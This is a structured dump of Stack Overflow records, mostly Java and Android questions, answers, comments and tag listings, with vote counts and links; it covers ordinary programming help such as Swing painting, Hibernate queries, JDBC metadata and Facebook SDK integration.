downvote count: 0
has comment: http://stackoverflow.com/comment/33698394
tagged with: java
has comment: http://stackoverflow.com/comment/33685318
tagged with: jaxb
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33685485
type: Question
upvote count: 2
tagged with: unmarshalling
has comment: http://stackoverflow.com/comment/33688190
has comment: http://stackoverflow.com/comment/33685535
answer count: 1

http://stackoverflow.com/q/22214603
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33728137
has comment: http://stackoverflow.com/comment/33728066
has comment: http://stackoverflow.com/comment/33728341
score: 0
tagged with: java
tagged with: noclassdeffounderror
type: Question
has body: I am getting the following message when referencing a JAR I have added to my Android project: The JAR is located in my libs/ folder and is directly referenced in the Build Path The JAR is 'checked' in the "Order and Export" tab From what information I can gather on adding JARs to Android projects, this procedure seems to be correct. Any clue as to what is causing this error?
has title: Android java.lang.NoClassDefError when using external jar
has comment: http://stackoverflow.com/comment/33728115
linked to: http://stackoverflow.com/q/22214627
tagged with: android
answer count: 0

http://stackoverflow.com/comment/33907173
type: QuestionComment
comment on: http://stackoverflow.com/q/22313714
score: 1
has text: Looking down the stack trace, it says there's a `NullPointerException` on line 31 of MainActivity.java. If that isn't enough for you to figure it out, please tell us which line is line 31 in the listing.
type: Comment

http://stackoverflow.com/comment/33695348
score: 0
type: Comment
has text: and user.getToken has the correct value? the context part doesn't seem to be anything else, did you debug and check the flow..on what happens from onClick
type: AnswerComment
comment on: http://stackoverflow.com/a/22196390

http://stackoverflow.com/a/22232028
downvote count: 0
score: 1
has body: Using TargetApi, you tell the compiler that you are sure that this class/method/whatever is never ever called unless the API requirements are met. That's what you want to do. But that also means that your must make sure that this class is never called under this level of API. You can do that by using if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.HONEYCOMB) { // Call that class } else { // Call another class }
accepted answer of: http://stackoverflow.com/q/22231304
answers question: http://stackoverflow.com/q/22231304
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/22294022
has body: I am using eclipse IDE in my java project, I have also configured "JUNIT" to my eclipse ide. When I am running a test case in eclipse using, "Rightclick On Project->Run As", It is showing that "Run configurations".It is not showing "JUnitTestCase" . What is the problem?
tagged with: java
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33871459
score: 0
answer count: 2
tagged with: junit
has title: JUnit test case is not running in eclipse
has answer: http://stackoverflow.com/a/22294139
has answer: http://stackoverflow.com/a/22296406
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33871426

http://stackoverflow.com/comment/33728027
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22197795
score: 1
has text: Thanks for your answer but this will activate or run the profile. With this mvn verify -Pstage will become same as mvn verify -DrunIT=true , but I want to activate or deactivate a plugin in a profile based on argument passed. So, mvn verify -Pstage -DrunIT=true will run stage profile with maven failsafe and maven jetty plugin and if runIT is set to false , both the plugins will not work. I cannot create a two different profiles , one will have the plugins and one will not.

http://stackoverflow.com/q/22179268
upvote count: 1
tagged with: swing
score: 1
tagged with: java
has title: paintComponent inside a JScrollbar
type: Question
answer count: 2
tagged with: jscrollpane
has answer: http://stackoverflow.com/a/22179360
downvote count: 0
tagged with: paintcomponent
favorite count: 0
has answer: http://stackoverflow.com/a/22179417
type: UnansweredQuestion
has body: I am trying out the JScrollPane for a project I am working on, and I noticed a problem. When the frame with the drawing is first invoked, the drawings inside look fine. However, the moment I scroll using the scrollbar, the drawings "overlap" each other and it messes up the whole thing. Now I thought this was because my project was complicated, so I tried to do it in a much simpler way. I ended up with the same result. I attached the codes (for the simple version), as well as pictures forthe moment it becomes an error: The Jpanel class, where I do the drawing: entepublic class PaintThis extends JPanel { public PaintThis() { setBorder(new LineBorder(Color.RED)); setPreferredSize(new Dimension(1000, 1000)); } public void paintComponent(Graphics graphics) { graphics.setColor(Color.RED); graphics.fillOval(0, 0, 30, 30); graphics.drawOval(0, 50, 30, 30); graphics.fillRect(50, 0, 30, 30); graphics.drawRect(50, 50, 30, 30); } } The class where I draw the frame: public class CreatePanel { public CreatePanel() { JFrame frame = new JFrame("Test"); JScrollPane scroll = new JScrollPane(new PaintThis()); frame.setSize(300, 300); frame.setVisible(true); frame.add(scroll); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } } And just the main file: public class theTest { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here CreatePanel panel = new CreatePanel(); }} Now these are the images that result: Initial image (when I start the program) When I scroll When I go back to the original position Thank you very, very much for any help that you can give. I have been stuck here for almost a week now, and I really tried to look for the solution myself. Thanks again!

http://stackoverflow.com/a/22271463
type: Answer
has comment: http://stackoverflow.com/comment/33830462
answers question: http://stackoverflow.com/q/22271325
score: 0
has body: Use Intent to make call to Activity Intent intent = new Intent(MainActivity.this, RaceCar.class); startActivity(intent); Register the new Activity in manifest.xml.

http://stackoverflow.com/comment/33917644
score: 0
type: AnswerComment
type: Comment
has text: I already do that so for serial test case execution, but it will also close parallel running instances which is bad
comment on: http://stackoverflow.com/a/22319889

http://stackoverflow.com/a/22189836
downvote count: 0
has comment: http://stackoverflow.com/comment/33683516
has comment: http://stackoverflow.com/comment/33683804
has body: Use the MultiThreading concept. You can create two threads in server for accepting the incoming connections from A and B. you need to open two ports in server for clients A and B.
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22189742
has comment: http://stackoverflow.com/comment/33683711
accepted answer of: http://stackoverflow.com/q/22189742
type: AcceptedAnswer

http://stackoverflow.com/q/22196152
tagged with: java
tagged with: google-play-services
upvote count: 1
answer count: 1
has body: I want to add google play services to my Android project. I followed the tutorial on the official site. The problem is that I get an error when I add the following code in the project's Manifest &lt;meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version" /&gt; The error is: No resource found that matches the given name (at 'value' with value '@integer/google_play_services_version'). I have added the google play services library in the same directory (COPIED IT). Also I have added it in my project as a library (Properties->Android->Add). I've cleaned the project more times then I can count. The API that the project uses is level 15, Android 4.0.3. And the google play services that I am using are the new ones not the froyo ones. Any ideas what I am doing wrong? UPDATE I HAVE DONE THIS AND IT STILL DOESNT WORK 1.SDK manager -> extras -> Install package Google play servies 2.Import project -> Android\adt-bundle-windows-x86-0130917\sdk\extras\google\google_play_services\libproject Add above project as a library project For followed way... 3.Right click Project -> properties -> android -> Is library -> add google play service This is a part of my manifest &lt;uses-sdk android:minSdkVersion="13" android:targetSdkVersion="17" /&gt; I checked The manifest of the google play services library (WHICH IS NOT FROYO) and this is it: &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.google.android.gms" android:versionCode="3265130" android:versionName="3.2.65 (834000-30)" &gt; &lt;uses-sdk android:minSdkVersion="8"/&gt; &lt;/manifest&gt; which is the same as the froyo one. Can that be the problem?
favorite count: 0
tagged with: google-play-games
has title: Adding google play services version to your app's manifest makes error
tagged with: google-play
tagged with: android
downvote count: 0
has answer: http://stackoverflow.com/a/22196580
type: UnansweredQuestion
type: Question
score: 1

http://stackoverflow.com/q/22305541
possible better answer: http://stackoverflow.com/a/22305750
score: 0
answer count: 2
tagged with: tomcat
tagged with: service
has body: I wonder if you could help me with this: At first sorry if I am asking something easy, but I am amateur in this. I have a tomcat server in my computer and I have several services (programmed in java language with Eclipse) in it. What I would like to know is if it is possible to stablish a code that should be execute in each service when Tomcat server turns on or reset. If it is possible, how could I do that?
tagged with: reset
has answer: http://stackoverflow.com/a/22305722
type: AnsweredQuestion
tagged with: java
tagged with: eclipse
type: Question
has title: execute code when tomcat server turns on
has answer: http://stackoverflow.com/a/22305750
accepted answer: http://stackoverflow.com/a/22305722

http://stackoverflow.com/a/22277036
accepted answer of: http://stackoverflow.com/q/22276688
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
has body: Since this is CLEARLY a homework assignment I'm going to avoid giving you the answer like everybody else. You'll never learn how to write code if you are given the answers online so for your own development I will merely try to assist. What you have You already have a system that reads a file and extracts some of the information and prints the information extracted in a formatted way. What you lack You're not fully grasping the math or logic behind the main request of the program, which is the generating of the asterisks. Pointers For starters I'd use scratch paper and think this out logically. You know how many acres each farm has and how many pints of popcorn were produced. Therefore, you know the number of jars per acre that have been produced. You will need to divide that number by 25 in order to meet the requirement: Each mark in the bar chart represents 25 pint jars of popcorn per acre. So you're 2 mathematical calculations away from knowing how many stars go into a bar. Once you know that, I believe a simple loop should help you wrap this project up. Lastly, I think you'll want to use printf() to print out your results as it allows for the flexibility you need to format the lines.
answers question: http://stackoverflow.com/q/22276688
downvote count: 0

http://stackoverflow.com/comment/33746132
type: AnswerComment
has text: Fondamentally, it's the same concept you can instantiate a concrete class, but not an abtract class (it refers more potential subclasses) or an interface (it refers more potential classes or subinterfaces). The declaration works in a more abstract view.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22222069

http://stackoverflow.com/comment/33672172
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22178868
has text: why don't you configure JDBC in your security.xml? the documentation shows how to do it...
score: 0

http://stackoverflow.com/q/22212410
type: UnansweredQuestion
has title: Running a hibernate constraint individually?
has answer: http://stackoverflow.com/a/22212926
downvote count: 0
tagged with: java
tagged with: hibernate
type: Question
score: 5
answer count: 1
has comment: http://stackoverflow.com/comment/33724301
favorite count: 0
upvote count: 5
has body: Is it possible to check a String against a hibernate constraint without having to write a special Class for it? For example, if I just want to check if a given String is an email, is it possible to check it as a one-off test without writing a full class and validating that constraint against a particular property of the class?
tagged with: hibernate-validator

http://stackoverflow.com/a/22272926
upvote count: 1
answers question: http://stackoverflow.com/q/22216720
score: 1
downvote count: 0
has body: The while loop is infinite if the loop condition remains true. Since the expression only depends on i, and i is not assigned in the loop body, that is equivalent to the loop condition being true on first evaluation. Therefore, the question is for which values of which types the expression i == i + 1 is true. Java has the following types: reference types: do not support the + operator, except for strings, which get longer by concatentating "1", and therefore can not remain identical. primitive types: boolean: does not support + integral types: adding 1 is guaranteed to change the value, even in case of overflow floating point types: a float of floating point type is either: positive 0: 0- + 1 is 1 and therefore != 0 negative 0: 0+ + 1 is 1 and therefore != 0 NaN: NaN + 1 is NaN, but NaN != NaN positive infinity: inf+ + 1 is inf+, and therefore == inf+ negative infinity: inf- + 1 is inf-, and therefore == inf- normal: c + 1 is not an accurate computation. Roughly speaking, 1 is added to c, and the nearest float (or double) to that value is taken as the result. Whether that float (or double) is distinct from the initial value depends on the density of floating point values around c. Internally, a floating point type is represented by a sign bit, and two fixed-with integers m and e, where the value of the float is given by s * m * 2^e. Adding 1 will unlikely change e (and if it does, the result is distinct anyway). Otherwise: if e &lt;= 0, adding 1 will change m if e == 1, adding 1 might change m, depending on the rounding mode if e > 1, adding 1 will not change m, and therefore c + 1 == c. Now, for which values will this occur? For float, m &lt; 2^24. Therefore, e > 1 if c >= 2^25 or c &lt;= - (2^25) For double, m &lt; 2^53. Therefore, e > 1 if c >= 2^54 or c &lt;= -(2^54) Those ought to be all cases :-)
type: Answer

http://stackoverflow.com/q/22234737
possible better answer: http://stackoverflow.com/a/22234907
has title: Select distinct year from date using Hibernate Criteria
has answer: http://stackoverflow.com/a/22234907
has answer: http://stackoverflow.com/a/22236660
type: Question
answer count: 2
score: 0
tagged with: java
tagged with: hibernate
tagged with: mysql
accepted answer: http://stackoverflow.com/a/22236660
has body: I would like to get all distinct years from a MySQL date field with the Hibernate Criteria API. This is the query that I want to translate to criteria: sess.createQuery("SELECT DISTINCT year(o.date) FROM Observation"); I've tried : Criteria crit = sess.createCriteria(Observation.class) .setProjection(Projections.distinct(Projections.property("year(date)"))); But it returns an error ERROR - could not resolve property: year(date) of: ca.ogsl.biodiversity.hibernate.Observation Does any body knows if it's possible and how? Thanks a lot!!! Keven
type: AnsweredQuestion

http://stackoverflow.com/comment/33679882
comment on: http://stackoverflow.com/a/22187842
score: 0
type: AnswerComment
has text: how do i got a[1000]? if the code is in this way i < a.length + 1, the error still exists.
type: Comment

http://stackoverflow.com/q/22191652
tagged with: java
type: Question
has title: Getting column metadata from jdbc/postgresql for newly created table
has answer: http://stackoverflow.com/a/22194288
upvote count: 6
has answer: http://stackoverflow.com/a/22193834
answer count: 3
accepted answer: http://stackoverflow.com/a/22193834
has comment: http://stackoverflow.com/comment/33686552
has body: I'm trying to get the column list from newly created table(it is created in the java code). The thing is that I do not get the columns. The code works for tables that are already in the database, but if i create a new one and try to get the column info immediately it does not find any... Update: Here is full code that I used for testing: @Test public void testtest() throws Exception { try (Connection conn = dataSource.getConnection()) { String tableName = "Table_" + UUID.randomUUID().toString().replace("-", ""); try (Statement statement = conn.createStatement()) { statement.executeUpdate(String.format("create table %s (id int primary key,name varchar(30));", tableName)); } DatabaseMetaData metaData = conn.getMetaData(); try (ResultSet rs = metaData.getColumns(null, null, tableName, null)) { int colsFound = 0; while (rs.next()) { colsFound++; } System.out.println(String.format("Found %s cols.", colsFound)); } System.out.println(String.format("Autocommit is set to %s.", conn.getAutoCommit())); } } The and the output: Found 0 cols. Autocommit is set to true.
possible better answer: http://stackoverflow.com/a/22192249
has comment: http://stackoverflow.com/comment/33686414
has answer: http://stackoverflow.com/a/22192249
favorite count: 0
tagged with: postgresql
score: 6
tagged with: jdbc
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/33858435
score: 0
type: QuestionComment
type: Comment
has text: Perhaps [Pausing/stopping and starting/resuming Java TimerTask continuously?](http://stackoverflow.com/questions/2098642/pausing-stopping-and-starting-resuming-java-timertask-continuously) helps?
comment on: http://stackoverflow.com/q/22286218

http://stackoverflow.com/comment/33822772
has text: 'safe from hacking' - it is matlab not java code. I said I make p code from m file, but it wont run on every computer. So, what to do else or how to make p code running everywhere?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22266084
type: AnswerComment

http://stackoverflow.com/comment/33736487
has text: Thank you Boris the Spider for your help!!I have just managed to finish my Option class and the tests are all green ;)
type: Comment
comment on: http://stackoverflow.com/a/22211593
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33662398
score: 0
type: AnswerComment
type: Comment
has text: No, I mean the `<<` operator, because, as you stated before, the array `rgbPixels` already has the separated pixel components, so you have to combine them. Make a simple test by assigning a constant color to your image like `r = 50`, `g = 200`, `b = 50`, you should see a green rectangle with that, if not, the problem may be in another part of the program
comment on: http://stackoverflow.com/a/22176487

http://stackoverflow.com/a/22303508
score: 0
type: Answer
has body: Memory benchmark contains two points: throughput and fragment. Here I think what you want to do is choose what's the better data structure for these environment. For this point, I think you also need these two points to measure. Here you can use OQL(Object query language) to query this datastructure usage. You can use hprof and MAT to analysis your system's heap context. To solve your the question that making tests to measure the memory consumption, I suggest these steps: Create a productive environment Run the program In the important point, you can dump your heap Use JMX to make HPROF heap dumps right before and after a full GC Use MAT, VisualVM to analysis the hprof
answers question: http://stackoverflow.com/q/22302518
has comment: http://stackoverflow.com/comment/33888312

http://stackoverflow.com/q/22188930
tagged with: android-fragments
has body: I know this question have been asked a few times before. I've tried all of them but it doesn't work in my case. I'm trying to upload an image from Gallery or capture from Camera via intents. So, the implementation is to call onActivityResult from the Fragment. When the button in Fragment is clicked, it returns NullPointerException in MainActivity. Here's the logcat error: java.lang.RuntimeException: Failure delivering result ResultInfo{who=null, request=65538, result=0, data="imagepath"} to activity {com.example/com.example.activity.MainActivity}: java.lang.NullPointerException In MainActivity: @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); // Null Pointer Exception here Session.getActiveSession().onActivityResult(this, requestCode, resultCode, data); } Session.getActiveSession() came from Facebook as I am using Facebook SDK login. If I comment out this line, the Camera/Gallery intent worked BUT I can't use Facebook SDK login button. In UploadFragment: @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (resultCode != getActivity().RESULT_OK) return; switch (requestCode) { case CAMERA_REQUEST: // case SELECT_PICTURE: // } } The fragment's ActivitResult is called via this: btnCamera.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { try { startActivityForResult(cameraIntent, CAMERA_REQUEST); } catch (Exception e) { e.printStackTrace(); } } }); btnGallery.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { // To open up a gallery browser startActivityForResult(Intent.createChooser(intent, "Select Picture"), SELECT_PICTURE); } }); How do I solve this? UPDATE I noticed that if I have logged in to Facebook, the problem doesn't occur as it found an active session. Otherwise, an error will occur. I'm guessing t…
tagged with: java
accepted answer: http://stackoverflow.com/a/22192412
type: Question
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22192412
tagged with: android
type: AnsweredQuestion
has title: OnActivityResult in Fragment does not called

knapsack-problem
type: Tag
tag name: knapsack-problem
tags question: http://stackoverflow.com/q/22213069

http://stackoverflow.com/comment/33665676
has text: keep the username and password reference inside the loop
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22179948

http://stackoverflow.com/q/22264112
has comment: http://stackoverflow.com/comment/33818126
linked to: http://stackoverflow.com/q/1359689
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33818316
tagged with: couchdb
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33818273
linked to: http://stackoverflow.com/q/4543894
has answer: http://stackoverflow.com/a/22267897
tagged with: java
downvote count: 1
tagged with: httprequest
type: Question
linked to: http://stackoverflow.com/q/2793150
has body: How do I do a HTTP GET POST PUT DELETE Request using Java? I'm using CouchDB and I can post data using cUrl into the database. How do I do the same thing using Java however I cannot find any information on this with good documentation. curl -X PUT http://anna:secret@127.0.0.1:5984/somedatabase/ Could some please change this cUrl request to Java. Otherwise please recommend me libraries to do so. Thank You.
tagged with: database
score: -1
linked to: http://stackoverflow.com/q/3324717
linked to: http://stackoverflow.com/q/4205980
has title: Curl to Java Post

java
tags question: http://stackoverflow.com/q/22188834
tags question: http://stackoverflow.com/q/22257517
tags question: http://stackoverflow.com/q/22199421
tags question: http://stackoverflow.com/q/22252728
tags question: http://stackoverflow.com/q/22279141
tags question: http://stackoverflow.com/q/22178796
tags question: http://stackoverflow.com/q/22243980
tags question: http://stackoverflow.com/q/22325792
tags question: http://stackoverflow.com/q/22276587
tags question: http://stackoverflow.com/q/22323553
tags question: http://stackoverflow.com/q/22254618
tags question: http://stackoverflow.com/q/22210604
tags question: http://stackoverflow.com/q/22248603
tags question: http://stackoverflow.com/q/22199774
tags question: http://stackoverflow.com/q/22191060
tags question: http://stackoverflow.com/q/22276784
tags question: http://stackoverflow.com/q/22245024
tags question: http://stackoverflow.com/q/22307648
tags question: http://stackoverflow.com/q/22311740
tags question: http://stackoverflow.com/q/22205466
tags question: http://stackoverflow.com/q/22299320
tags question: http://stackoverflow.com/q/22260375
tags question: http://stackoverflow.com/q/22198104
tags question: http://stackoverflow.com/q/22199504
tags question: http://stackoverflow.com/q/22241190
tags question: http://stackoverflow.com/q/22183849
tags question: http://stackoverflow.com/q/22179226
tags question: http://stackoverflow.com/q/22201374
tags question: http://stackoverflow.com/q/22262309
tags question: http://stackoverflow.com/q/22304575
tags question: http://stackoverflow.com/q/22202472
tags question: http://stackoverflow.com/q/22204098
tags question: http://stackoverflow.com/q/22238826
tags question: http://stackoverflow.com/q/22209393
tags question: http://stackoverflow.com/q/22190443
tags question: http://stackoverflow.com/q/22190797
tags question: http://stackoverflow.com/q/22194952
tags question: http://stackoverflow.com/q/22292099
tags question: http://stackoverflow.com/q/22195643
tags question: http://stackoverflow.com/q/22322089
tags question: http://stackoverflow.com/q/22195412
tags question: http://stackoverflow.com/q/22209406
tags question: http://stackoverflow.com/q/22206915
tags question: http://stackoverflow.com/q/22306710
tags question: http://stackoverflow.com/q/22313770
tags question: http://stackoverflow.com/q/22259769
tags question: http://stackoverflow.com/q/22174229
tags question: http://stackoverflow.com/q/22206086
tags question: http://stackoverflow.com/q/22326189
tags question: http://stackoverflow.com/q/22283963
tags question: http://stackoverflow.com/q/22224000
tags question: http://stackoverflow.com/q/22187161
tags question: http://stackoverflow.com/q/22217660
tags question: http://stackoverflow.com/q/22295523
tags question: http://stackoverflow.com/q/22245110
tags question: http://stackoverflow.com/q/22213023
tags question: http://stackoverflow.com/q/22288749
tags question: http://stackoverflow.com/q/22176251
tags question: http://stackoverflow.com/q/22321663
tags question: http://stackoverflow.com/q/22224299
tags question: http://stackoverflow.com/q/22296729
tags question: http://stackoverflow.com/q/22271416
tags question: http://stackoverflow.com/q/22242287
tags question: http://stackoverflow.com/q/22230255
tags question: http://stackoverflow.com/q/22203299
tags question: http://stackoverflow.com/q/22183968
tags question: http://stackoverflow.com/q/22192873
tags question: http://stackoverflow.com/q/22257117
tags question: http://stackoverflow.com/q/22275198
tags question: http://stackoverflow.com/q/22198917
tags question: http://stackoverflow.com/q/22213316
tags question: http://stackoverflow.com/q/22181196
tags question: http://stackoverflow.com/q/22226789
tags question: http://stackoverflow.com/q/22185956
tags question: http://stackoverflow.com/q/22214932
tags question: http://stackoverflow.com/q/22218247
tags question: http://stackoverflow.com/q/22256387
tags question: http://stackoverflow.com/q/22213918
tags question: http://stackoverflow.com/q/22240328
tags question: http://stackoverflow.com/q/22284832

locationmanager
tags question: http://stackoverflow.com/q/22226990
type: Tag
tags question: http://stackoverflow.com/q/22215344
tag name: locationmanager

http://stackoverflow.com/comment/33680200
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22188008
score: 0
has text: @Kedarnath Can you explain StackoverflowException further? And how can I understand it is exactly that exception? There is no any exception in log.

http://stackoverflow.com/q/22306481
type: UnansweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/46337530
type: Question
score: 3
tagged with: spring-social
downvote count: 0
tagged with: facebook-graph-api
favorite count: 0
has title: Get facebook access token with spring social FacebookConnectionFactory
has body: I am trying to implement a Facebook Connection using Spring Social, based on this example(from spring social manual): FacebookConnectionFactory connectionFactory = new FacebookConnectionFactory("clientId", "clientSecret"); OAuth2Operations oauthOperations = connectionFactory.getOAuthOperations(); OAuth2Parameters params = new OAuth2Parameters(); params.setRedirectUri("https://my-callback-url"); String authorizeUrl = oauthOperations.buildAuthorizeUrl(GrantType.AUTHORIZATION_CODE, params); response.sendRedirect(authorizeUrl); // upon receiving the callback from the provider: AccessGrant accessGrant = oauthOperations.exchangeForAccess(authorizationCode, "https://my-callback-url", null); Connection&lt;Facebook&gt; connection = connectionFactory.createConnection(accessGrant); My problem is that I don't know what my redirect url should be.My code is this: @RequestMapping("/face") public String communicate() { FacebookConnectionFactory connectionFactory = new FacebookConnectionFactory(clientId, clientSecret); OAuth2Operations oauthOperations = connectionFactory.getOAuthOperations(); OAuth2Parameters params = new OAuth2Parameters(); //this remdirectUri should be another one? params.setRedirectUri("http://dev01.spring:8080/spring/face"); String authorizeUrl = oauthOperations.buildAuthorizeUrl(GrantType.AUTHORIZATION_CODE, params); System.out.println(authorizeUrl); //return "redirect:"+authorizeUrl; // upon receiving the callback from the provider: //AccessGrant accessGrant = oauthOperations.exchangeForAccess(authorizationCode, "https://my-callback-url", null); //Connection&lt;Facebook&gt; connection = connectionFactory.createConnection(accessGrant); } My authorizeUrl is like this(from System.out line): https://graph.facebook.com/oauth/authorize?client_id=myId&amp;response_type=code&amp;redirect_uri=http%3A%2F%2Fdev01.spring%3A8080%2Fspring%2Fface If i uncomment the line where I continue the Oauth flow redirecting to this authorizeUrl, i'm getting the following error: This we…
tagged with: facebook
tagged with: spring
has comment: http://stackoverflow.com/comment/46356366
has comment: http://stackoverflow.com/comment/33894639
answer count: 0
upvote count: 3

http://stackoverflow.com/comment/34504597
type: Comment
has text: I don't see any heartbeat related code in the test program that you pointed. However, I see some heart-beat related constants in Stomp.java class. You should actually check if the library is sending periodic heartbeats to broker, otherwise, you will have to add it yourself. My guess is ActiveMQ Java STOMP library isn't kind of up-to-date and I don't think it implements STOMP 1.1 also. You can look for alternative Java STOMP libraries and experiment with them. For example, see https://github.com/mrstampy/Stampy
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22285225

http://stackoverflow.com/q/22243413
has comment: http://stackoverflow.com/comment/33780790
tagged with: java
tagged with: hour
has answer: http://stackoverflow.com/a/22243700
accepted answer: http://stackoverflow.com/a/22243700
type: Question
has comment: http://stackoverflow.com/comment/33781002
tagged with: min
answer count: 1
tagged with: type-conversion
score: 0
has comment: http://stackoverflow.com/comment/33780106
upvote count: 1
downvote count: 1
favorite count: 0
has title: how to add Hours and Minutes in to the total min which is contain in vector in java
tagged with: time
has body: I have a Vectors which is containing Hours into this float type 00.00 so how to convert it into the HH.MM type and how to get Sum of all Elements of of that vector Can i have suggestion.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33780736
has comment: http://stackoverflow.com/comment/33780753

http://stackoverflow.com/q/22307241
type: Question
answer count: 1
tagged with: security
has comment: http://stackoverflow.com/comment/33895371
upvote count: 1
favorite count: 0
downvote count: 0
tagged with: encryption
tagged with: python
has answer: http://stackoverflow.com/a/22308126
accepted answer: http://stackoverflow.com/a/22308126
has body: I have a desktop app that needs to communicate with a remote server securely. All data must be encrypted. which also means that the data can no be altered by a third party. No one should be able to resend the same data twice (replay attacks) List item The server is setup with a restful API, so the desktop client will be making https (get, post, push and delete) calls. I know that a SSL certificate is not sufficient. There are tools like mitmProxy that will resign the certificate and show the attacker plain text. My question is not concerning the interworking of encryption in general. I would like to know what is a common practice to provide Perfect Forward Secrecy most used in practice in the real world?! If the server is written in python and clients are written in java, are there tutorials or libraries I can look at?
has title: Creating a secure connection between a desktop app and remote server?
type: AnsweredQuestion
score: 1
tagged with: java
tagged with: ssl

http://stackoverflow.com/comment/33886836
has text: As mentioned in the answer every thread has to set it then only its get method would return value. May be you are using ThreadLocal in the wrong place. Does your application uses Threads ? Seems yours look web application. If you just wants to store user details you could store in its user session.
type: Comment
comment on: http://stackoverflow.com/q/22302616
score: 0
type: QuestionComment

http://stackoverflow.com/q/22260405
has answer: http://stackoverflow.com/a/22260900
possible better answer: http://stackoverflow.com/a/22260618
score: -2
has title: How can I get my score in an other class? JAVA
has answer: http://stackoverflow.com/a/22260553
has body: I'm making a game with multiple asteroids going down. The goal is to dodge as many asteroids for as long as you can. I made it so that as soon as an asteroid reaches the bottom of the screen it is send back up, now i want to count every time it gets to the bottom and add it to the score. My problem is that all the asteroids are the same class so if I use: if(y&gt;700){ y=-50; // x= (int) (Math.random()*670); // To send the asteroid back up setLocation(x,y); // score++; // To add up the score System.out.println(score); // To print the score Every asteroid adds op his own amount of times it has reached the bottom, but I want to know how many asteroids have reached the bottom in total. So I figured I have to get the score out of the asteroid class and add it up in an other class but I don't know how. This is the code of the asteroid class: import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JPanel; import javax.swing.Timer; public class Astroid extends JPanel implements ActionListener { public int yVelocity = 1; public int x = (int) (Math.random()*650), y = (int) (Math.random()*-1000); public Timer timer; private int score; public Astroid(int x,int y) { this.setLocation(x, y); this.setSize(25, 25); this.setBackground(Color.WHITE); this.setVisible(true); } { this.timer = null; this.timer = new Timer(10,new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { setLocation(x,(y+=yVelocity)); timer.setDelay(10); repaint(); if(y&gt;700){ y=-50; x= (int) (Math.random()*670); setLocation(x,y); score++; System.out.println(score); } } }); timer.start(); } } This is the code of the class that creates the asteroids: import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList; import java.util.Timer; import java.util.TimerTask; import javax.swing.JFrame; import javax.swing.JPanel; public class SterTest extends JFrame implements ActionL…
tagged with: java
downvote count: 2
answer count: 5
tagged with: class
has comment: http://stackoverflow.com/comment/33811116
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/22260479
has answer: http://stackoverflow.com/a/22260618
favorite count: 0
has answer: http://stackoverflow.com/a/22260516
accepted answer: http://stackoverflow.com/a/22260479
type: Question

http://stackoverflow.com/comment/33814901
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22262370
has text: Never use empty catch blocks. Myself, I wouldn't serialize a GUI, but rather would serialize its non-GUI model that holds its state. I'd then build the GUI and apply its model, assuming that your program uses good MVC (model-view-control) separation. This is one important reason to use MVC and its siblings.

http://stackoverflow.com/a/22192533
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22192402
upvote count: 3
type: Answer
has body: Can i convert Object of Super Class into the Sub class? No, You can do it other way only. You can assign a sub class object to super class reference only. Reason for it is, sub class can have more functionality and more specific to a problem. If you are allowed to case a super class object to sub class, then how that super class object will get those sub class functionality?

http://stackoverflow.com/comment/33909008
type: QuestionComment
comment on: http://stackoverflow.com/q/22314704
score: 1
has text: Voting to close as a "simple typographical error".
type: Comment

http://stackoverflow.com/comment/34015248
type: AnswerComment
comment on: http://stackoverflow.com/a/22298727
type: Comment
has text: Also, there is an option to pass the variable to other methods (through stack, not heap), which also can mutate, so the safest option is the method local variable that is not used in inner classes, nor passed to other methods. Otherwise you have to review those methods/inner classes too.
score: 0

http://stackoverflow.com/comment/33871183
type: Comment
comment on: http://stackoverflow.com/q/22293659
has text: Where is the group email expanded to all the individuals on the list? You need to have that code involved in handling your mail.
score: 0
type: QuestionComment

http://stackoverflow.com/q/22188834
has answer: http://stackoverflow.com/a/22529559
type: AnsweredQuestion
tagged with: facebook-graph-api
type: Question
tagged with: facebook
accepted answer: http://stackoverflow.com/a/22529559
score: 0
answer count: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
